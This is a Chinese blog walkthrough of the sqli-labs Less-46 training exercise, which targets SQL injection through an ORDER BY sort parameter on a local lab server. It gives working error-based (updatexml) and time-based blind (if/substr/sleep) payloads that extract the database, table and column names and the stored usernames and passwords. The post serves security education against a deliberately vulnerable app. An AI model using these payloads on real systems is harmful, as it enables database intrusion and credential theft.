sqli-labs (less-46)

sqli-labs (less-46)

进入46关,这时候我们发现屏幕上的显示的不是再要我们属于ID了,而是要我们输入sort,我们输入sort=1试试

我们发现查询的结果是这样的,那为什么我们输入sort=1会输出这些东西呢,我们可以通过查看源代码看看

这里我们发现sql语句为select * from users order by $id;,在原先的语句上加入了order by语句,那到底order by语句是什么意思呢,前面的关卡我们使用了order by语句,但都是都是为了判断字段数,这里我们来讲讲order by语句的作用

SQL语句中,asc是指定列按升序排列,desc则 是指定列按降序排列。
select * from users order by 1 desc; 使用降序进行排列
select * from users order by1 asc;使用升序进行排列

这里我们就明白了,原sql语句只有order by后面的参数是我们可控的,所以sort=1的意思就是以第一列数据也就是ID进行排序

http://127.0.0.1/sql1/Less-46/?sort=2


输入sort=2就是以第二列也就是username进行排序

http://127.0.0.1/sql1/Less-46/?sort=3


输入sort=3就是以第三列也就是password进行排序

http://127.0.0.1/sql1/Less-46/?sort=4


输入sort=4发现会报错,因为根本没有第四列数据,这也是order by为什么能作为判断字段数的原因

http://127.0.0.1/sql1/Less-46/?sort=1'


根据错误显示我们判断为数字型注入
这里因为有完整的错误回显,所以我们可以使用报错注入攻击或者使用时间盲注

报错注入攻击

查看当前库

http://127.0.0.1/sql1/Less-46/?sort=1 and updatexml(1,concat(0x7e,(database()),0x7e),1)--+


查看security库下的所有表

http://127.0.0.1/sql1/Less-46/?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+


查看users表下的所有字段

http://127.0.0.1/sql1/Less-46/?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+


查看username,password字段下的所有值

http://127.0.0.1/sql1/Less-46/?sort=1 and updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users),0x7e),1)--+

时间盲注

查看当前数据库长度

http://127.0.0.1/sql1/Less-46/?sort=1 and if(length(database())=8,1,sleep(2))--+


页面快速反应,证明当前数据库长度为8

查看当前数据库的第一个字母

http://127.0.0.1/sql1/Less-46/?sort=1 and if(substr(database(),1,1)='s',1,sleep(2))--+


页面快速反应,证明当前库的第一个字母为s,更改substr函数的索引依次往后面猜解,这里我不具体演示

查看当前库下的第一张表的第一个字母

http://127.0.0.1/sql1/Less-46/?sort=1 and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',1,sleep(2))--+


页面快速反应,证明当前库下的第一张表的第一个字母为e,更改substr函数的索引依次往后面猜解,这里我不具体演示

查看users表下的第一个字段下的第一个字母

http://127.0.0.1/sql1/Less-46/?sort=1 and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u',1,sleep(2))--+


页面快速反应,证明users表下的第一个字段的第一个字母为u,更改substr函数的索引依次往后面猜解,这里我不具体演示

查看username,password字段下的第一个值的第一个字母

http://127.0.0.1/sql1/Less-46/?sort=1 and if(substr((select group_concat(username,password) from security.users limit 0,1),1,1)='d',1,sleep(2))--+

页面快速反应,证明username和password字段下的第一个值的第一个字母为d,更改substr函数的索引依次往后面猜解,这里我不具体演示

时间盲注的特点就是只能一个字母一个字母的去猜,这里也可以发送到burpsuite的intruer模块进行暴力破解,这里我就不演示了,道理都是一样的

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

super 硕

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值